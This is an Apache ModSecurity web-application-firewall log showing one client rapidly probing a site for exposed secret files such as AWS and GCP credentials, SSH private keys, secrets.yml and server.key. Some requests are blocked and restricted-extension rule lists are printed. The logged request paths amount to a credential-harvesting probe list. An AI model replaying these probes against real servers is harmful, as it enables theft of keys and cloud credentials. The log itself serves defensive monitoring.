[Sun Oct 25 00:28:16.713250 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45146] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/~/.aws/credentials"] [unique_id "at2FYMmYnImk6kHi8hyMYQAAADA"]
[Sun Oct 25 00:28:16.771802 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45160] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/aws-credentials.json"] [unique_id "at2FYNsOgdpl1YJRCNQVhQAAAEU"]
[Sun Oct 25 00:28:16.830448 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45166] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/credentials"] [unique_id "at2FYGnoVolia533WIkgwAAAADQ"]
[Sun Oct 25 00:28:16.887942 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45174] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/credentials.json"] [unique_id "at2FYJnH_N6a0offkOBEzgAAACg"]
[Sun Oct 25 00:28:16.947372 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45176] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/gcp-credentials.json"] [unique_id "at2FYGTNY6y0aXZ6joCanwAAADk"]
[Sun Oct 25 00:28:17.006608 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45184] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/client_secret.json"] [unique_id "at2FYbCux6YzXC46yX1OTQAAACY"]
[Sun Oct 25 00:28:17.064996 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45192] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/service-account.json"] [unique_id "at2FYVTnwNJm6o1fQZIgBgAAAAI"]
[Sun Oct 25 00:28:17.121982 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45194] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/application_default_credentials.json"] [unique_id "at2FYRzh2uHYztX7tG5lfAAAADw"]
[Sun Oct 25 00:28:17.179893 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45210] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.ssh/id_rsa"] [unique_id "at2FYTuLxR3FUbX6v9XEGwAAAAc"]
[Sun Oct 25 00:28:17.237828 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45226] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.ssh/id_rsa.pub"] [unique_id "at2FYWQyb15Iqx39xvm2OAAAAC4"]
[Sun Oct 25 00:28:17.296245 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45242] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.ssh/authorized_keys"] [unique_id "at2FYcmYnImk6kHi8hyMYgAAADA"]
[Sun Oct 25 00:28:17.354492 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45258] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.ssh/id_ed25519"] [unique_id "at2FYdsOgdpl1YJRCNQVhgAAAEU"]
[Sun Oct 25 00:28:17.413442 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45260] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/config.json"] [unique_id "at2FYWnoVolia533WIkgwQAAADQ"]
[Sun Oct 25 00:28:17.470986 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45276] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/config.env"] [unique_id "at2FYZnH_N6a0offkOBEzwAAACg"]
[Sun Oct 25 00:28:17.529087 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45280] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/config/aws.yml"] [unique_id "at2FYWTNY6y0aXZ6joCaoAAAADk"]
[Sun Oct 25 00:28:17.588386 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45284] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/secret"] [unique_id "at2FYbCux6YzXC46yX1OTgAAACY"]
[Sun Oct 25 00:28:17.646351 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45300] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/secret.json"] [unique_id "at2FYVTnwNJm6o1fQZIgBwAAAAI"]
[Sun Oct 25 00:28:17.703424 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45316] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/secrets.yml"] [unique_id "at2FYRzh2uHYztX7tG5lfQAAADw"]
[Sun Oct 25 00:28:17.761992 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45332] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/secrets/"] [unique_id "at2FYTuLxR3FUbX6v9XEHAAAAAc"]
[Sun Oct 25 00:28:17.820074 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45348] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.keys.yml"] [unique_id "at2FYWQyb15Iqx39xvm2OQAAAC4"]
[Sun Oct 25 00:28:17.878430 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45356] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/key"] [unique_id "at2FYcmYnImk6kHi8hyMYwAAADA"]
[Sun Oct 25 00:28:17.937065 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45366] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/private.key"] [unique_id "at2FYdsOgdpl1YJRCNQVhwAAAEU"]
[Sun Oct 25 00:28:17.937184 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/private.key"] [unique_id "at2FYdsOgdpl1YJRCNQVhwAAAEU"]
[Sun Oct 25 00:28:17.937497 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/private.key"] [unique_id "at2FYdsOgdpl1YJRCNQVhwAAAEU"]
[Sun Oct 25 00:28:17.937750 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/private.key"] [unique_id "at2FYdsOgdpl1YJRCNQVhwAAAEU"]
[Sun Oct 25 00:28:17.995210 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45380] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/private.pem"] [unique_id "at2FYWnoVolia533WIkgwgAAADQ"]
[Sun Oct 25 00:28:18.053522 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45392] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/backup.key"] [unique_id "at2FYpnH_N6a0offkOBE0AAAACg"]
[Sun Oct 25 00:28:18.053667 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/backup.key"] [unique_id "at2FYpnH_N6a0offkOBE0AAAACg"]
[Sun Oct 25 00:28:18.054069 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/backup.key"] [unique_id "at2FYpnH_N6a0offkOBE0AAAACg"]
[Sun Oct 25 00:28:18.054337 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/backup.key"] [unique_id "at2FYpnH_N6a0offkOBE0AAAACg"]
[Sun Oct 25 00:28:18.111882 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45394] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2FYmTNY6y0aXZ6joCaoQAAADk"]
[Sun Oct 25 00:28:18.111995 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45394] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2FYmTNY6y0aXZ6joCaoQAAADk"]
[Sun Oct 25 00:28:18.112320 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2FYmTNY6y0aXZ6joCaoQAAADk"]
